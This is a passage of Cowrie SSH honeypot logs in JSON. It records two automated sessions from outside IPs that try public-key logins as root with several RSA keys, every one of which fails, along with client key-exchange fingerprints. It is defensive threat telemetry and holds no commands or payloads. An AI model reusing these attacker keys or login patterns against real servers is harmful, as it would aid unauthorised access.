","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.118484Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg9cq3hUp8t/PKgcgoVPjWVUyDa3Jqtt09cau7CXHnxUQIcSCmwaoRwJxvRkcyqMj+dKpHhGWvo14KWAfIddQ5XCUxw4RcJgmOdb76HOJZ27pXRBzkOcFYyC0QdJqbEFiQGhDx3QNgDn5oq9o+e8tZ9VVY8i+3s27zszEv1ShS0FpugBVcBTPwfLDSeshV0ZMabpJcdqsBy7Werd1sh/+AkW5GhY5ZX272mEwt0dmiL2p/c/VFxvzPYWzHmIgHW8HIaPRvywne4cYYyWFPg/M6hQ7FWhzdTaFac/zuxkCkA+iZmcvac2tgiilv8FZgjEGAQvdnyu2D6hCixa1F+z1t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.510287Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg9cq3hUp8t/PKgcgoVPjWVUyDa3Jqtt09cau7CXHnxUQIcSCmwaoRwJxvRkcyqMj+dKpHhGWvo14KWAfIddQ5XCUxw4RcJgmOdb76HOJZ27pXRBzkOcFYyC0QdJqbEFiQGhDx3QNgDn5oq9o+e8tZ9VVY8i+3s27zszEv1ShS0FpugBVcBTPwfLDSeshV0ZMabpJcdqsBy7Werd1sh/+AkW5GhY5ZX272mEwt0dmiL2p/c/VFxvzPYWzHmIgHW8HIaPRvywne4cYYyWFPg/M6hQ7FWhzdTaFac/zuxkCkA+iZmcvac2tgiilv8FZgjEGAQvdnyu2D6hCixa1F+z1t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.514701Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOAy+xiVALy1rOgVH50iHgm1lrSWYSCnGSR3ahJH+xzX2hhuUgBU+DP3Jqe0lkokyIYPnegxBb5Ew8FvnOHktyw41OWHIGwOyW9qnFZd/cB/Yx4A6P9XVkdrMnyOexP7qrNbwMC0A3b/hvE+FxZHLGH8eG2i7k+5KBzsetZaOz6ar8aAiqEJQoY0EXp9R3ACuMkM2VQ98gaaoHhUbQ7CNjdRoACmiWTy9WXRw0zjbaqD8vAnU/5BZDwD4BQ0vwaDwChTCSyN/lp8A2uSKVW/WXi42RoBAkEj3nBtYktzadt4HnEIje+Ei6pX/7dgOEznFrWQ+tKtzrZ5t+3lx4X92/lxAy/D54haaPIoaivzhMmmaApGbinJDTMwIj+c2Sz5Bwhj/u/iNALGyHwx5x0q2O9x2ecYXS6r7gmVPIeI46Xgq2U0zgdfDD5SNPfFm+Wm0afXcU7ZsulEk6DqBxfKdUDSrRUcacfOWzdglHS8DEaJDJf1TIssLLQSFub68ibi4Xbw83u60iKvnHg7H11+xVqmzQZV92WeOLgxldrKeRnWf4QokNiJFnaadyrVjy+k8kxIykgu0YFHjiy/FWDj2dDczK478QISp3MEm0AgT/bfEdDjO2vw0NvmIvB1udvqp+s0l4FgCVsem2ZFy2b01O6kp6tSwTTN67kWK05JANWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.598808Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOAy+xiVALy1rOgVH50iHgm1lrSWYSCnGSR3ahJH+xzX2hhuUgBU+DP3Jqe0lkokyIYPnegxBb5Ew8FvnOHktyw41OWHIGwOyW9qnFZd/cB/Yx4A6P9XVkdrMnyOexP7qrNbwMC0A3b/hvE+FxZHLGH8eG2i7k+5KBzsetZaOz6ar8aAiqEJQoY0EXp9R3ACuMkM2VQ98gaaoHhUbQ7CNjdRoACmiWTy9WXRw0zjbaqD8vAnU/5BZDwD4BQ0vwaDwChTCSyN/lp8A2uSKVW/WXi42RoBAkEj3nBtYktzadt4HnEIje+Ei6pX/7dgOEznFrWQ+tKtzrZ5t+3lx4X92/lxAy/D54haaPIoaivzhMmmaApGbinJDTMwIj+c2Sz5Bwhj/u/iNALGyHwx5x0q2O9x2ecYXS6r7gmVPIeI46Xgq2U0zgdfDD5SNPfFm+Wm0afXcU7ZsulEk6DqBxfKdUDSrRUcacfOWzdglHS8DEaJDJf1TIssLLQSFub68ibi4Xbw83u60iKvnHg7H11+xVqmzQZV92WeOLgxldrKeRnWf4QokNiJFnaadyrVjy+k8kxIykgu0YFHjiy/FWDj2dDczK478QISp3MEm0AgT/bfEdDjO2vw0NvmIvB1udvqp+s0l4FgCVsem2ZFy2b01O6kp6tSwTTN67kWK05JANWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.603419Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgcmUsiN+/7p3pqybwHZf9fN2+xYpSYHI5xvG36Rb41yPwbS6/w1I439hmACWbA/Ho3JhK4brg38q1u7h6OrAR7+FYq6nfP1JivH3M/EtwQVyRsdmyJr1VyoPTJ8LeAr8Nk3LuYcjFDW6quzHahplbhgWupfbHsr3dV8m2fZEa9QFwYFdG80URidJfzA4j9A2VB9mNVWO4aZ1eUi1O+FsC66+p/2U+TgVRUZlBjgdAcB7E4nQMZdsUdj/08rs7Eiihg84kQ/cM2jMCd/rbv80tjHywy5yjkKM1bgPyR6OZN6UJ18QwTo9pvPUBFDx1qJDk7EHmhXiNs3K5R5GgtpIDjugjWJrcfl+pzbETc1ANxnYgc53g6yV2QXyNyYLTvUiIYxJYBXIA7KCqn0FNVkH4tt0lBF4tDIIR3GVEjOw7Y00+VrpQGRIg1Md+E82ZzzS25wXghgf2g1MJn36rG1H3VZmJd7CQ+NgEpBtWjoKS4F/fN2PiHPnGVhaB4HMKlk269f+N0+EnrSQljrIp0AhUlmV/ODIMOmPk3lzYO6v7QKpiNLSqI1UjQmie+8PCMa12HFXwm9+hCTzJiFXuLzfVkQ87fbJMdd5Hac1K1kNc3UGnB6DqxhNlR1Se8KeFNc1yrh12dm4LaYqXH1gCg9iOYA3yVZrY7Dy7xQi1z3AcZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.688756Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgcmUsiN+/7p3pqybwHZf9fN2+xYpSYHI5xvG36Rb41yPwbS6/w1I439hmACWbA/Ho3JhK4brg38q1u7h6OrAR7+FYq6nfP1JivH3M/EtwQVyRsdmyJr1VyoPTJ8LeAr8Nk3LuYcjFDW6quzHahplbhgWupfbHsr3dV8m2fZEa9QFwYFdG80URidJfzA4j9A2VB9mNVWO4aZ1eUi1O+FsC66+p/2U+TgVRUZlBjgdAcB7E4nQMZdsUdj/08rs7Eiihg84kQ/cM2jMCd/rbv80tjHywy5yjkKM1bgPyR6OZN6UJ18QwTo9pvPUBFDx1qJDk7EHmhXiNs3K5R5GgtpIDjugjWJrcfl+pzbETc1ANxnYgc53g6yV2QXyNyYLTvUiIYxJYBXIA7KCqn0FNVkH4tt0lBF4tDIIR3GVEjOw7Y00+VrpQGRIg1Md+E82ZzzS25wXghgf2g1MJn36rG1H3VZmJd7CQ+NgEpBtWjoKS4F/fN2PiHPnGVhaB4HMKlk269f+N0+EnrSQljrIp0AhUlmV/ODIMOmPk3lzYO6v7QKpiNLSqI1UjQmie+8PCMa12HFXwm9+hCTzJiFXuLzfVkQ87fbJMdd5Hac1K1kNc3UGnB6DqxhNlR1Se8KeFNc1yrh12dm4LaYqXH1gCg9iOYA3yVZrY7Dy7xQi1z3AcZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.692718Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFIf1RJsgDOaw+19s/f0kGpof32XPln+z8zaz4UB5hsVm0tzc9R5tdUv3GPrU8IreFHqM+Y6SDqztKJspTVuFF3ReiawbSX9A6gaJ/LLMe01r43ok5CsVUnOrRSoUmMFFHy6qvNGYwqn1LNs6N3YnslNIOLNdlFaURrW/ELxE2bWPEbXbWKXESQ/9kOz098+Px+nVtNJ+iP/yz+Os6qa4cDv7k1MYSGLwbW89XiD6mOs2KUoWfQy2qeo2ajxkATjRKOj4WUPsUMgdNPDbQ+T03/BX0Z37M+6zyNy7OcXAjxOCecBpIasiktYlTwV1YyyEg0ZD571qc4dm4xC9jehvD6gJ8YH4jIwsw/5PIOuM/SxJ5gxuxvft5cGP31YrqJhu4nx0LJK4RIkbTvWLos8SuLYQIww7WCm8DzLJXomqW2Vg8mA1rpWKGf28EERyKSbhptGK0kT7F8ac69bEnprSq4N0g7XSe3MOrFoBEYxvRgsZA2i5RnZA4ot4cY58fR8Zvyf4KflcnjnhCRtWfpL71qR5iC8fXmq8Cnt+pL/FfM/VWstzDcwYekVUOSpCp0fQhwMh7QhJU8/DJIJTKWHBUwWeJGhAnGxAuF0cgh8RTjJ69Npj+rYfVI2MQdKGpTrv4Q7x1RKVXX8wgB1xm03lmaJg6+iQb+marc2xFbZ4ChQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.781342Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:53:13:a5:dd:87:3a:78:8f:16:f5:2d:3c:15:fe:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFIf1RJsgDOaw+19s/f0kGpof32XPln+z8zaz4UB5hsVm0tzc9R5tdUv3GPrU8IreFHqM+Y6SDqztKJspTVuFF3ReiawbSX9A6gaJ/LLMe01r43ok5CsVUnOrRSoUmMFFHy6qvNGYwqn1LNs6N3YnslNIOLNdlFaURrW/ELxE2bWPEbXbWKXESQ/9kOz098+Px+nVtNJ+iP/yz+Os6qa4cDv7k1MYSGLwbW89XiD6mOs2KUoWfQy2qeo2ajxkATjRKOj4WUPsUMgdNPDbQ+T03/BX0Z37M+6zyNy7OcXAjxOCecBpIasiktYlTwV1YyyEg0ZD571qc4dm4xC9jehvD6gJ8YH4jIwsw/5PIOuM/SxJ5gxuxvft5cGP31YrqJhu4nx0LJK4RIkbTvWLos8SuLYQIww7WCm8DzLJXomqW2Vg8mA1rpWKGf28EERyKSbhptGK0kT7F8ac69bEnprSq4N0g7XSe3MOrFoBEYxvRgsZA2i5RnZA4ot4cY58fR8Zvyf4KflcnjnhCRtWfpL71qR5iC8fXmq8Cnt+pL/FfM/VWstzDcwYekVUOSpCp0fQhwMh7QhJU8/DJIJTKWHBUwWeJGhAnGxAuF0cgh8RTjJ69Npj+rYfVI2MQdKGpTrv4Q7x1RKVXX8wgB1xm03lmaJg6+iQb+marc2xFbZ4ChQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.785666Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVUm3d2dynAvjHJg3vPmgX3SADF5qGisN5+NRb9VpFwUb2oCl/AymQ/HK5+97nyO8SO4UO4IHuGzFcLxIE/OpDrl3rlpxk9+03+DNTPYn6Fvx0s0okM73gPuxPQ9yg8gJuxP4qa1kb64YKaMZNDskWts0fNrcBk21fcO+xYXVMKQ0DAPVYEHEn/zXumq3u9cR0yrfPqjI7McPMPwyCmHay32XPIEqyfhHWzDQ/2QhwxXdLku+0GLhLmsIuyCcKLC3VKbQ4PgzQiQbQseXBuaG2IcUjJRUt7HSS2ylmzDCLCEKlqXropFZ27u5BwcNsi5g4QLHwiSoPfdKLWgBL5ibv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.871201Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:46:81:0d:81:e7:fe:c7:4d:43:a2:d6:e9:a8:d9:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVUm3d2dynAvjHJg3vPmgX3SADF5qGisN5+NRb9VpFwUb2oCl/AymQ/HK5+97nyO8SO4UO4IHuGzFcLxIE/OpDrl3rlpxk9+03+DNTPYn6Fvx0s0okM73gPuxPQ9yg8gJuxP4qa1kb64YKaMZNDskWts0fNrcBk21fcO+xYXVMKQ0DAPVYEHEn/zXumq3u9cR0yrfPqjI7McPMPwyCmHay32XPIEqyfhHWzDQ/2QhwxXdLku+0GLhLmsIuyCcKLC3VKbQ4PgzQiQbQseXBuaG2IcUjJRUt7HSS2ylmzDCLCEKlqXropFZ27u5BwcNsi5g4QLHwiSoPfdKLWgBL5ibv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.876500Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:30.961778Z","src_ip":"31.42.176.142","session":"b3e1f41a05b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":52036,"dst_ip":"10.17.0.5","dst_port":22,"session":"9730b21b90b5","protocol":"ssh","message":"New connection: 104.194.10.248:52036 (10.17.0.5:22) [session: 9730b21b90b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.836951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.841740Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.849031Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg9cq3hUp8t/PKgcgoVPjWVUyDa3Jqtt09cau7CXHnxUQIcSCmwaoRwJxvRkcyqMj+dKpHhGWvo14KWAfIddQ5XCUxw4RcJgmOdb76HOJZ27pXRBzkOcFYyC0QdJqbEFiQGhDx3QNgDn5oq9o+e8tZ9VVY8i+3s27zszEv1ShS0FpugBVcBTPwfLDSeshV0ZMabpJcdqsBy7Werd1sh/+AkW5GhY5ZX272mEwt0dmiL2p/c/VFxvzPYWzHmIgHW8HIaPRvywne4cYYyWFPg/M6hQ7FWhzdTaFac/zuxkCkA+iZmcvac2tgiilv8FZgjEGAQvdnyu2D6hCixa1F+z1t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.867536Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:a4:dc:90:b2:35:cf:fa:f9:b5:d6:3c:53:73:b6:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg9cq3hUp8t/PKgcgoVPjWVUyDa3Jqtt09cau7CXHnxUQIcSCmwaoRwJxvRkcyqMj+dKpHhGWvo14KWAfIddQ5XCUxw4RcJgmOdb76HOJZ27pXRBzkOcFYyC0QdJqbEFiQGhDx3QNgDn5oq9o+e8tZ9VVY8i+3s27zszEv1ShS0FpugBVcBTPwfLDSeshV0ZMabpJcdqsBy7Werd1sh/+AkW5GhY5ZX272mEwt0dmiL2p/c/VFxvzPYWzHmIgHW8HIaPRvywne4cYYyWFPg/M6hQ7FWhzdTaFac/zuxkCkA+iZmcvac2tgiilv8FZgjEGAQvdnyu2D6hCixa1F+z1t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.871825Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOAy+xiVALy1rOgVH50iHgm1lrSWYSCnGSR3ahJH+xzX2hhuUgBU+DP3Jqe0lkokyIYPnegxBb5Ew8FvnOHktyw41OWHIGwOyW9qnFZd/cB/Yx4A6P9XVkdrMnyOexP7qrNbwMC0A3b/hvE+FxZHLGH8eG2i7k+5KBzsetZaOz6ar8aAiqEJQoY0EXp9R3ACuMkM2VQ98gaaoHhUbQ7CNjdRoACmiWTy9WXRw0zjbaqD8vAnU/5BZDwD4BQ0vwaDwChTCSyN/lp8A2uSKVW/WXi42RoBAkEj3nBtYktzadt4HnEIje+Ei6pX/7dgOEznFrWQ+tKtzrZ5t+3lx4X92/lxAy/D54haaPIoaivzhMmmaApGbinJDTMwIj+c2Sz5Bwhj/u/iNALGyHwx5x0q2O9x2ecYXS6r7gmVPIeI46Xgq2U0zgdfDD5SNPfFm+Wm0afXcU7ZsulEk6DqBxfKdUDSrRUcacfOWzdglHS8DEaJDJf1TIssLLQSFub68ibi4Xbw83u60iKvnHg7H11+xVqmzQZV92WeOLgxldrKeRnWf4QokNiJFnaadyrVjy+k8kxIykgu0YFHjiy/FWDj2dDczK478QISp3MEm0AgT/bfEdDjO2vw0NvmIvB1udvqp+s0l4FgCVsem2ZFy2b01O6kp6tSwTTN67kWK05JANWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.884890Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:8e:8e:c1:23:6a:d4:7f:e9:91:0c:d6:79:b4:ae:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOAy+xiVALy1rOgVH50iHgm1lrSWYSCnGSR3ahJH+xzX2hhuUgBU+DP3Jqe0lkokyIYPnegxBb5Ew8FvnOHktyw41OWHIGwOyW9qnFZd/cB/Yx4A6P9XVkdrMnyOexP7qrNbwMC0A3b/hvE+FxZHLGH8eG2i7k+5KBzsetZaOz6ar8aAiqEJQoY0EXp9R3ACuMkM2VQ98gaaoHhUbQ7CNjdRoACmiWTy9WXRw0zjbaqD8vAnU/5BZDwD4BQ0vwaDwChTCSyN/lp8A2uSKVW/WXi42RoBAkEj3nBtYktzadt4HnEIje+Ei6pX/7dgOEznFrWQ+tKtzrZ5t+3lx4X92/lxAy/D54haaPIoaivzhMmmaApGbinJDTMwIj+c2Sz5Bwhj/u/iNALGyHwx5x0q2O9x2ecYXS6r7gmVPIeI46Xgq2U0zgdfDD5SNPfFm+Wm0afXcU7ZsulEk6DqBxfKdUDSrRUcacfOWzdglHS8DEaJDJf1TIssLLQSFub68ibi4Xbw83u60iKvnHg7H11+xVqmzQZV92WeOLgxldrKeRnWf4QokNiJFnaadyrVjy+k8kxIykgu0YFHjiy/FWDj2dDczK478QISp3MEm0AgT/bfEdDjO2vw0NvmIvB1udvqp+s0l4FgCVsem2ZFy2b01O6kp6tSwTTN67kWK05JANWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.889336Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgcmUsiN+/7p3pqybwHZf9fN2+xYpSYHI5xvG36Rb41yPwbS6/w1I439hmACWbA/Ho3JhK4brg38q1u7h6OrAR7+FYq6nfP1JivH3M/EtwQVyRsdmyJr1VyoPTJ8LeAr8Nk3LuYcjFDW6quzHahplbhgWupfbHsr3dV8m2fZEa9QFwYFdG80URidJfzA4j9A2VB9mNVWO4aZ1eUi1O+FsC66+p/2U+TgVRUZlBjgdAcB7E4nQMZdsUdj/08rs7Eiihg84kQ/cM2jMCd/rbv80tjHywy5yjkKM1bgPyR6OZN6UJ18QwTo9pvPUBFDx1qJDk7EHmhXiNs3K5R5GgtpIDjugjWJrcfl+pzbETc1ANxnYgc53g6yV2QXyNyYLTvUiIYxJYBXIA7KCqn0FNVkH4tt0lBF4tDIIR3GVEjOw7Y00+VrpQGRIg1Md+E82ZzzS25wXghgf2g1MJn36rG1H3VZmJd7CQ+NgEpBtWjoKS4F/fN2PiHPnGVhaB4HMKlk269f+N0+EnrSQljrIp0AhUlmV/ODIMOmPk3lzYO6v7QKpiNLSqI1UjQmie+8PCMa12HFXwm9+hCTzJiFXuLzfVkQ87fbJMdd5Hac1K1kNc3UGnB6DqxhNlR1Se8KeFNc1yrh12dm4LaYqXH1gCg9iOYA3yVZrY7Dy7xQi1z3AcZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:d5:6e:9a:4b:e6:73:85:6a:ab:a9:1d:84:0a:de:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:24:32.898109Z","src_ip":"104.194.10.248","session":"9730b21b90b5","protocol":"ssh"}
